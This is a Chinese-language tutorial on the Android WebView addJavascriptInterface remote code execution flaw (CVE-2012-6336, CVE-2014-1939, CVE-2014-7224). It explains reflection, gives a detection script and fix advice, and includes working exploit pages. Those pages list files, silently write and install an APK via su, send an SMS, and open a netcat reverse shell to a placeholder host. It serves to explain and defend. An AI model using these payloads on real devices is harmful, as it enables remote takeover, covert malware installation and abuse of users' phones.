一 前言
Android系统版本低于4.2(Android API level 小于17);
二 漏洞原理
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent" >
<WebView
android:id="@+id/web_view"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</LinearLayout>
然后在Activity中就可以直接使用了
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("http://www.baidu.com");
}
这里我们就可以看到,页面上显示了百度首页。
class JsObejct{
@javascriptInterface
public String toString(){
return "injectedObject";
}
}
webView.addJavascriptInterface(new JsObject(), "injectObject"); //新建JsObject,并注入到js的injectObject字符串中
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())"); //webView中访问执行js代码,js中调用injectObject字符串的toString方法,
// 在后台代码中会被映射到JsObject对象的toString方法。
import java.lang.reflect.Method;
class Demo{
private void a1(){
System.out.println("I am a1");
}
public void a2(){
System.out.println("I am a2");
}
}
public class hello {
public static void main(String[] args){
Demo demo = new Demo();
Class mObjectClass = demo.getClass(); //获取Class对象
System.out.println(mObjectClass.getName());
Method[] methods = mObjectClass.getDeclaredMethods();//获取函数数组
for (Method method:methods){
System.out.println("method = "+ method.getName());
}
try{
Object o = mObjectClass.newInstance(); //根据Class实例化对象
methods[0].setAccessible(true);
methods[0].invoke(o);//调用o对象的method[0]方法
}catch (Throwable e){
System.out.println(e.toString());
}
}
}
输出结果:
由此可以可看到,我们利用反射成功调用了demo中的a2方法。
import java.lang.reflect.Method;
class Demo{
public void a1(){
System.out.println("I am a1");
}
public void a2(){
System.out.println("I am a2");
}
}
public class hello {
public static void main(String[] args){
Demo demo = new Demo();
Class mObjectClass = demo.getClass();
System.out.println(mObjectClass.getName());
Method[] methods = mObjectClass.getDeclaredMethods();
for (Method method:methods){
System.out.println("method = "+ method.getName());
}
try{
Class c = mObjectClass.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime", null);
m.setAccessible(true);
Object obj = m.invoke(null,null); //第一个参数为类的实例,第二个参数为相应函数中的参数
Class c2 = obj.getClass();
String array = "cmd.exe /k start calc";
Method n = c2.getMethod("exec", array.getClass());//获得该类中名称为exec,参数类型为String的方法
n.invoke(obj, new Object[]{array});调用方法n,第一个参数是类的实例,第二个桉树是相应的参数,以数组表示
}catch (Throwable e){
System.out.println(e.toString());
}
}
}
为了方便测试,在java中调用windows命令来启动计算器。
Class c1 = hello.class;
Class c2 = c1.forName("java.lang.Runtime");//这种方式需要处理异常,否则会报错
Class c3 = new hello().getClass();
三 检测方法
function check(){
for(var obj in window){
try{
if("getClass" in window[obj]){
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br/>');
}catch(e){
}
}
}finally{
}
}
}
check();
如果存在漏洞,那么在访问该页面时,会显示出其存在的漏洞对象名称。
四 漏洞POC
<script type="text/javascript">
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]);
document.write(getContents(res.getInputStream()));
</script>
让app访问该页面结果如下:
<script type="text/javascript">
function execute(cmdArgs)
{
return inject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);//注意修改为自己的可供调用的java对象名称
}
var apk = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x62 \\xB9\\x15\\x30\\x3D\\x07\\x01\\x00\\x00\\x7C\\x01\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD6\\x0D\\x00\\x00\\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x53------------------------------------------------------------ \\x4D\\x45\\x54\\x41\\x2D\\x49\\x4E\\x46\\x2F\\x43\\x45\\x52\\x54\\x2E\\x52\\x53\\x41\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x07\\x00\\x07\\x00\\xBA\\x01\\x00\\x00\\xB6\\x11\\x00\\x00\\x00\\x00";
execute(["/system/bin/sh","-c","echo '"+apk+"'>/data/data/com.example.hello/fake.png"]);//自己测试的时候注意包名的修改,我测试的apk包名为com.example.hello
execute(["chmod","755","/data/data/com.example.hello/fake.png"]);//包名修改
execute(["su","-c","pm install -r /data/data/com.example.hello/fake.png"]);//包名修改
</script>
结果如下:
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");
EXP的JavaScript代码:
<html>
<body>
<script>
var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
</script>
</body>
</html>
<html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
</script>
</body>
</html>
四 漏洞修复建议
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
2. API Level小于17的Android系统
如果一定要使用addJavascriptInterface接口:
1) 如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马;
2) 如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
3) 如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性的校验;
3.移除Android系统内部的默认内置接口
WebView远程代码执行相关的漏洞主要有CVE-2012-6336,CVE-2014-1939,CVE-2014-7224, 这些漏洞中最核心的漏洞是CVE-2012-6336,另外两个CVE只是发现了几个默认存在的接口
CVE-2014-1939
java/android/webkit/BrowserFrame.java 使用addJavascriptInterface API并创建了SearchBoxImpl类的对象。攻击者可通过访问searchBoxJavaBridge_接口利用该漏洞执行任意Java代码:
Google Android <= 4.3.1 受到此漏洞的影响
CVE-2014-7224
香港理工大学发现两个新的攻击向量存在于android/webkit/AccessibilityInjector.java中,当系统辅助功能中的任意一项服务被开启后,所有由系统提供的WebView都会被加入两个JS objects,分别是”accessibility” 和”accessibilityTraversal” ,建议移除:
1
2
|
removeJavascriptInterface
(
"accessibility"
);
removeJavascriptInterface
(
"accessibilityTraversal"
);
|
参考文章